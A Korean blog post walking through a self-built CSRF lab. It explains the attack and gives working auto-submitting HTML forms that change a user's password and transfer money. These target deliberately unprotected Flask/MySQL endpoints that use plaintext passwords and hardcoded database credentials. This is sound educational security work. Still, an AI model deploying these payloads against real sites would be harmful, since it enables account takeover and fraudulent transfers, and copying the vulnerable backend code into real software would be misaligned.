Notice
Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Archives
Today
Total
관리 메뉴

쟝이의 세상

CSRF 취약점 모의해킹 본문

자료

CSRF 취약점 모의해킹

zyangee 2024. 10. 29. 00:24

📌 CSRF(Cross-Site Request Forgery)

: 웹 보안 공격의 일종, 공격자가 사용자의 의도와는 무관하게 웹 애플리케이션에서 원하지 않는 작업을 수행하도록 만드는 공격 방식

CSRF 공격의 작동 원리
1) 사용자가 웹 애플리케이션에 로그인하고, 세션 쿠키가 브라우저에 저장된다.
2) 공각자가 사용자에게 악성 웹사이트를 방문하게 한다.
3) 사용자가 악성 웹사이트를 방문하면, 악성 코드가 실행되어 사용자가 인증된 세션을 통해 원래 사이트에 요청을 보낸다.
 ex. 비밀번호 변경 요청, 자금 이체 요청
4) 웹 애플리케이션은 요청이 유효한 것으로 인식하고 사용자의 세션을 확인하여 해당 작업을 수행

 

📌 비밀번호 변경 CSRF

✔️ CSRF 공격 코드 작성

  • csrf_test.html
<html>
    <body>
        <form id="csrfForm" action="http://127.0.0.1:8001/change_password.php" method="POST">
             <input type="hidden" name="userid" value="zyangee">
             <input type="hidden" name="password" value="zyangeSuccess">
             <input type="submit" value="Submit">
        </form>
        <script>
        // 자동으로 폼 제출
        	document.getElementById('csrfForm').submit();
    	</script>
    </body>
</html>

여기서 CSRF 요청을 보내고자 하는 URL은 피해자가 로그인한 웹 사이트의 URL이어야한다.

ex. 은행 웹사이트에서 비밀번호 변경 요청을 처리하는 엔드포인트가 http://megabank.store/change_password.php 라면, 해당 URL로 요청을 보내야 한다.

CSRF 공격의 기본 원리 = 사용자가 의도치 않게 요청을 전송하도록 유도
사용자가 누른 페이지가 다르다면 사용자가 눈치챌 수 있다는 것이 포인트~!

 

  • app.py
더보기
from flask import Flask, request, send_from_directory
import logging
import mysql.connector

app=Flask(__name__)

logging.basicConfig(level=logging.DEBUG)

def dbconn():
    try:
        conn=mysql.connector.connect(
                host="[DB서버 IP]",
                database="bank",
                user="bankuser1",
                password="Bankuser1!"
                )
        return conn
    except mysql.connector.Error as err:
        logging.error(f"데이터베이스 연결 실패: {err}")
        return None

@app.route('/')
def index():
    return "CSRF test"

@app.route('/csrf_test.html')
def csrf_test():
    return send_from_directory('/home/zyangee/Documents','csrf_test.html')

@app.route('/change_password.php', methods=['POST'])
def change_password():
    userid=request.form.get('userid')
    new_password=request.form.get('password')

    logging.info(f"사용자 {userid} -> 받은 비밀번호 {new_password}")

    conn=dbconn()
    if not conn:
        return "데이터베이스 연결 실패", 500    
    try:
        cursor=conn.cursor()
        cursor.execute("UPDATE users SET password=%s WHERE userid=%s", (new_password, userid))

        row_count = cursor.rowcount
        conn.commit()

        logging.info(f"Rows affected: {row_count}")
        if row_count == 0:
            return "사용자의 정보를 찾을 수 없거나 비밀번호가 변경되지 않음", 404
        return f"사용자 {userid} 의 비밀번호가 {new_password} 로 변경되었습니다.", 200
    except Exception as e:
        loggin.error(f"Database error: {e}")
        return f"비밀번호 변경 오류: {str(e)}", 500

    finally:
        if conn is not None:
            conn.close()

def dbconn_success():
    try:
        conn=dbconn()
        logging.info("데이터베이스 연결 성공")
        conn.close()
    except Exception as e:
        logging.error("데이터베이스에 연결할 수 없습니다.: {e}")

if __name__=='__main__':
    dbconn_success()
    app.run(host='0.0.0.0', port=8001)

 

✔️ 공격 페이지 접속

python app.py

위의 코드 실행 후 127.0.0.1:8001/csrf_test.html 접속하면

자동으로 change_password.php로 이동되는 것을 확인할 수 있다.

→ 실제로 비밀번호가 변경되었는지 확인!

CSRF 실습 전
CSRF 실습 후

password를 확인해보면 내가 설정한 값으로 변경된 것을 확인할 수 있다.

 

📌 계좌 송금 CSRF

✔️ CSRF 공격 코드 작성

  • csrf_transfer.html
<html>
<body>
        <h1>잠시만 기다려 주세요...</h1>
        <form id="csrf_form" action="http://127.0.0.1:8002/transfer_money.php" method="POST">
                <input type="hidden" name="from_account" value="125-1858">
                <input type="hidden" name="to_account" value="693-1602">
                <input type="hidden" name="amount" value="1000000">
        </form>
        <script>
                document.getElementById("csrf_form").submit();
        </script>
</body>
</html>
  • transfer_app.py
더보기
from flask import Flask, request, send_from_directory
import logging
import mysql.connector

app = Flask(__name__)

logging.basicConfig(level=logging.DEBUG)

def get_db_connection():
    try:
        conn = mysql.connector.connect(
            host="[DB서버 IP]",
            database="bank",
            user="bankuser1",
            password="Bankuser1!"
        )
        return conn
    except mysql.connector.Error as err:
        logging.error(f"데이터베이스 연결 실패: {err}")
        return None

@app.route('/')
def index():
    return "CSRF test"

@app.route('/csrf_transfer.html')
def csrf_transfer():
    return send_from_directory('/home/zyangee/Documents', 'csrf_transfer.html')

@app.route('/transfer_money.php', methods=['POST'])
def transfer_money():
    from_account = request.form.get('from_account')
    to_account = request.form.get('to_account')
    amount = request.form.get('amount')

    logging.info(f"보내는 계좌번호 {from_account} -> 받은 계좌번호 {to_account} : 금액 {amount}")
    conn = None
    try:
        conn = get_db_connection()
        if conn is None:
            return "데이터베이스 연결 실패", 500        
        cursor = conn.cursor()

        # 송금 로직
        cursor.execute("UPDATE accounts SET balance = balance - %s WHERE account_number = %s", (amount, from_account))
        cursor.execute("UPDATE accounts SET balance = balance + %s WHERE account_number = %s", (amount, to_account))

        # 사용자 이름 조회
        cursor.execute("SELECT user_num FROM accounts WHERE account_number = %s", (from_account,))
        from_user_num = cursor.fetchone()

        cursor.execute("SELECT user_num FROM accounts WHERE account_number = %s", (to_account,))
        to_user_num = cursor.fetchone()

        # 사용자 이름 가져오기
        if from_user_num:
            cursor.execute("SELECT username FROM users WHERE user_num = %s", (from_user_num[0],))
            from_username = cursor.fetchone()
            from_username = from_username[0] if from_username else "Unknown"
        else:
            from_username = "Unknown"

        if to_user_num:
            cursor.execute("SELECT username FROM users WHERE user_num = %s", (to_user_num[0],))
            to_username = cursor.fetchone()
            to_username = to_username[0] if to_username else "Unknown"
        else:
            to_username = "Unknown"

        conn.commit()
        logging.info(f"송금 완료: {from_account} -> {to_account}, 금액: {amount}")

        return f"송금이 완료되었습니다: {from_username} ({from_account})에서 {to_username} ({to_account})로 {amount}원이 송금되었습니다.", 200

    except mysql.connector.Error as e:
        logging.error("데이터베이스에 연결할 수 없습니다.: {e}")
        return f"송금하지 못하였습니다.: {str(e)}", 500

    finally:
        if conn is not None:
            conn.close()


def test_db_connection():
    try:
        conn = get_db_connection()
        if conn:
            logging.info("데이터베이스 연결 성공")
            conn.close()
        else:
            logging.error("데이터베이스 연결 실패")
    except Exception as e:
        logging.error("데이터베이스에 연결할 수 없습니다.: {e}")

if __name__ == '__main__':
    test_db_connection()
    app.run(host='0.0.0.0', port=8002)

 

✔️ 공격 페이지 접속

python transfer_app.py

위의 코드 실행 후 127.0.0.1:8002/csrf_transfer.html 접속하면

자동으로 transfer_money.php로 이동되는 것을 확인할 수 있다.

→ 실제로 송금이 되었는지 확인!

송금이 내가 설정했던 금액만큼 된 것을 확인할 수 있다.